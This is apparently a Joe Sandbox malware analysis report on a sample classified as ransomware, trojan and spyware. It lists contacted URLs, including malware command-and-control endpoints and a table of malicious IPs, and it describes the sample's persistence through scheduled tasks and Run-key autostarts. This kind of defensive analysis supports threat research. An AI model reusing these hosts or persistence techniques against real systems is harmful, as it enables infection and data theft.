http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aa.imgjeoogbb.com/check/safebb.com/	aafg31.exe, 0000001E.00000003.760226484.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com/check/safe724	aafg31.exe, 0000001E.00000003.746741114.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745163331.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745382558.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aa.imgjeoogbb.com/check/?sid=13944&key=c	aafg31.exe, 0000001E.00000003.780487952.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.779253254.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonV	4149.exe, 0000001A.00000003.694802882.00000000006BB000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 0000001A.00000002.721546295.00000000006BC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://components.groove.net/Groove/Components/Root.osd?Package=net.groove.Groove.Tools.System.Groov	explorer.exe, 00000003.00000000.563622081.00007FF883839000.00000002.00000001.01000000.00000007.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsono	4149.exe, 00000015.00000002.699607048.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/?sid=13908&key=998c73684e358e008e745dc71067c837	aafg31.exe, 0000001E.00000003.767683223.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.760226484.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.769779048.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonk	D5C1.exe, 00000006.00000002.629266514.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/lass	4149.exe, 00000015.00000002.699607048.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonc	4FC4.exe, 00000008.00000002.633118414.0000000000638000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/?sid=13858&key=5ee6946efebe0e76c2a21c2236bd4723	aafg31.exe, 0000001E.00000003.750357522.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.752067742.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.750020093.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.749693049.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.753300423.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/safeP	aafg31.exe, 0000001E.00000003.741957865.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.740202367.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.743113806.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://api.2ip.ua/geo.jsonph	4149.exe, 0000001A.00000002.721546295.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json:	D5C1.exe, 00000006.00000002.629266514.0000000000780000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json4	D5C1.exe, 00000006.00000002.629266514.0000000000788000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1N	aafg31.exe, 0000001E.00000002.797362019.000000000079D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=13944&key=	aafg31.exe, 0000001E.00000003.780487952.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.779253254.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com:80/check/safeX	aafg31.exe, 0000001E.00000003.795556251.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000002.797362019.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/safe	aafg31.exe, 0000001E.00000003.746741114.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.750357522.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.747894693.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.739048398.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.780487952.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745163331.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.720008523.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.758396305.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.779253254.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.759014950.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.737732884.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.732284624.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.741957865.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745382558.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.767683223.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.755965073.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.774732895.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.740202367.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.736006563.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.737886928.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.719159073.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonK	4149.exe, 0000001A.00000002.721546295.0000000000678000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/Nfv	D5C1.exe, 00000006.00000002.629266514.00000000007C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonG	B666.exe, 00000014.00000002.669295924.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.2ip.ua/geo.jsonA	4FC4.exe, 00000008.00000002.633118414.0000000000638000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.699607048.00000000008AD000.00000004.00000020.00020000.00000000.sdmp, 4149.exe, 00000015.00000003.664584988.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com/check/?sid=13824&key=	aafg31.exe, 0000001E.00000003.740202367.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id10Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com/check/?sid=1384eR	aafg31.exe, 0000001E.00000003.747894693.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id8Response	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://5.42.65.80/8bmeVwqx/index.php&	oneetx.exe, 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/?sid=14022&key=b2fb9f5bd7b27d7aa6a137bc83986ff1	aafg31.exe, 0000001E.00000002.797362019.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://components.groove.net/Groove/Components/SystemComponents/SystemComponents.osd?Package=net.gro	explorer.exe, 00000003.00000000.563622081.00007FF883839000.00000002.00000001.01000000.00000007.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	2355.exe, 00000013.00000002.804824632.0000000004565000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://5.42.65.80/8bmeVwqx/index.php:	oneetx.exe, 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://5.42.65.80/8bmeVwqx/index.php=	oneetx.exe, 00000023.00000002.798494824.0000000001473000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://aa.imgjeoogbb.com/check/?sid=14014&key=	aafg31.exe, 0000001E.00000003.793969406.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.openssl.org/support/faq.html	B03B.exe, 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	D5C1.exe, 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, D5C1.exe, 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4FC4.exe, 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4FC4.exe, 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, B666.exe, 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 4149.exe, 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, 4149.exe, 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	2355.exe, 00000013.00000002.804824632.0000000004471000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonz	B666.exe, 00000014.00000002.669295924.00000000007D7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsont	4FC4.exe, 00000008.00000002.633118414.0000000000638000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	2355.exe, 00000013.00000002.804824632.0000000004569000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsons	4149.exe, 00000015.00000002.699607048.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
http://aa.imgjeoogbb.com:80/check/safePw	aafg31.exe, 0000001E.00000003.746741114.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.747894693.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745163331.00000000007F0000.00000004.00000020.00020000.00000000.sdmp, aafg31.exe, 0000001E.00000003.745382558.00000000007F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
89.208.104.62	unknown	Russian Federation	42569	PSKSET-ASRU	true
190.187.52.42	greenbi.net	Peru	19180	AMERICATELPERUSAPE	false
109.98.58.98	unknown	Romania	9050	RTDBucharestRomaniaRO	true
84.224.216.79	unknown	Hungary	8448	PGSM-HUTorokbalintHungaryHU	true
80.66.203.53	shsplatform.co.uk	United Kingdom	61323	UKFASTGB	false
213.6.54.58	nordskills.eu	Palestinian Territory Occupied	12975	PALTEL-ASPALTELAutonomousSystemPS	false
187.204.99.218	unknown	Mexico	8151	UninetSAdeCVMX	true
103.100.211.218	us.imgjeoigaa.com	Hong Kong	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	false
45.9.74.80	unknown	Russian Federation	200740	FIRST-SERVER-EU-ASRU	true
193.106.174.125	reinroot.top	Russian Federation	50465	IQHOSTRU	false
188.114.97.7	www.fcwcvt.org	European Union	13335	CLOUDFLARENETUS	false
188.36.122.174	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	true
95.214.25.207	unknown	Germany	33657	CMCSUS	true
62.217.232.10	unknown	Romania	8953	ASN-ORANGE-ROMANIARO	true
211.171.233.129	colisumy.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
188.114.96.7	www.rs-ag.com	European Union	13335	CLOUDFLARENETUS	false
5.42.65.80	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false
154.221.26.108	aa.imgjeoogbb.com	Seychelles	133115	HKKFGL-AS-APHKKwaifongGroupLimitedHK	false
91.227.16.22	h170013.srv22.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	false
51.89.201.49	unknown	France	16276	OVHFR	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1281331
Start date and time:	2023-07-27 18:25:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@74/39@140/22
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 53.5% (good quality ratio 47.8%) Quality average: 73.4% Quality standard deviation: 34.5%
HCA Information:	Successful, ratio: 81% Number of executed functions: 38 Number of non-executed functions: 101
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, audiodg.exe, dllhost.exe, consent.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 20.42.73.29, 104.208.16.94, 20.42.65.92, 13.89.179.12
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, t.me, ctldl.windowsupdate.com, adriaenclaeys.top, zexeq.com, onedsblobprdcus17.centralus.cloudapp.azure.com, gstatic-node.io, onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, watson.telemetry.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:26:27	API Interceptor	580x Sleep call for process: explorer.exe modified
18:26:42	Task Scheduler	Run new task: Firefox Default Browser Agent 48D4F2A0548ED36F path: C:\Users\user\AppData\Roaming\uehwfht
18:26:53	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe s>--Task
18:26:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
18:27:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe" --AutoStart
18:27:20	Task Scheduler	Run new task: oneetx.exe path: C:\Users\user\AppData\Local\Temp\207aa4515d\oneetx.exe
18:27:20	API Interceptor	463x Sleep call for process: oneetx.exe modified
18:27:25	API Interceptor	8x Sleep call for process: aafg31.exe modified
18:27:30	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
18:27:30	Task Scheduler	Run new task: Firefox Default Browser Agent CC9CB12A5F84D997 path: C:\Users\user\AppData\Roaming\ughwfht
18:27:36	API Interceptor	1x Sleep call for process: WerFault.exe modified
18:28:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_5542.exe_5ac38a4e5fb321a298a6150e45c492d2cc5cfb_48c80c5d_1492b393\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8252662262033549
Encrypted:	false
SSDEEP:	96:puFqlyuw/SwyKh9NnuoJ7ROV6tpXIQcQec6tycEfcw3Fuz+HbHg/8BRTf3o8Fa9l:8wBiS/78HQ0l7jty/u7srS274Itbv
MD5:	FC3F323CA121B353BDCA8A0EF2D1BF08
SHA1:	B6D50640E6DAEE3216640C0216280F6B9CFC2CFF
SHA-256:	976C878CC3FDB323AFA5796FA4C45A2F60F679F4D53C49406B6BEAC412D8D120
SHA-512:	18A27394C14B01A74517B5A072D160242181F2722229994652EE5851A31B779FBB9AA9F19C2B2BE6797E21931C63F1711621A4B940B8F7B397748E73118B55C7
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.3.4.9.4.8.8.2.8.6.4.4.5.4.0.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.3.4.9.4.8.8.4.1.2.0.6.9.7.7.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.b.2.e.b.f.9.1.-.3.5.3.c.-.4.2.1.2.-.8.0.b.8.-.b.6.7.3.4.0.a.2.5.7.2.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.2.4.4.9.0.f.5.-.4.e.a.7.-.4.7.e.0.-.b.d.9.4.-.3.c.3.1.f.6.e.8.5.5.6.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.5.5.4.2...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.f.8.-.0.0.0.1.-.0.0.1.f.-.7.7.8.b.-.b.b.2.d.a.7.c.0.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.b.0.1.8.1.2.2.e.5.3.d.0.6.3.a.0.b.4.9.4.3.9.6.8.e.7.9.2.e.3.2.0.0.0.0.5.1.4.2.!.0.0.0.0.9.7.a.1.6.1.7.c.a.b.9.9.4.3.0.0.2.5.7.9.a.b.b.b.1.c.0.c.c.3.d.7.4.b.7.f.a.4.b.d.!.5.5.4.2...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.3././.0.5././.2.2.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD26A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jul 27 16:27:11 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	39092
Entropy (8bit):	1.8891948817027888
Encrypted:	false
SSDEEP:	192:OcYFomR84EgOe1Wn4HTnI8TKUEYA+GoQl58eViRqyi1:j3eVzI8VGX8g1
MD5:	E0936D35C8927547A2CAB24BE67FAFBB
SHA1:	6B7A32F7E19219551FB5E68B9796799D7B149BAF
SHA-256:	BAE17338E09996F89B43662EDB0CB6EC39B247E5942505AD02EDB40298FCE9BB
SHA-512:	6A50382DF0B8CE5D186CED5C6A1E42C6848FD3D3C7D13F23ACFAB64E755E9E7DAD20FB0FDB8F16A3DC58CBCDECD74C5B31551B3A267D75F6B84831EF75963839
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .........d.........................................)..........T.......8...........T..........................P...........<....................................................................U...........B..............GenuineIntelW...........T.............d............................. ..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD29.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8404
Entropy (8bit):	3.704257972617483
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiF76Ap6YevSUm4wgmfFRS/+pDI89bNjhsfBxH7m:RrlsNi56+6YmSUmlgmfFRSWNjafXy
MD5:	1DBF48D423A4BD2998DF6639C92534E3
SHA1:	A0A76D739AA4E2C81FDE1D1FB69809D9BE8B7709
SHA-256:	E4539A456D088041DEA85BC7BD778C48EA6E798108C32C575D9C0F6CF38969A4
SHA-512:	873E848082E714D9E54327494C3C61AD3CBA1AEC790F55DB6F5CA7B9B1DE93458F2D872E1BF0E9F4F8DFD62E80EC0FE956A0BDBE25B3D3B5C550588D96DE5A40
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.7.8.4.<./.P.i.d.>.......

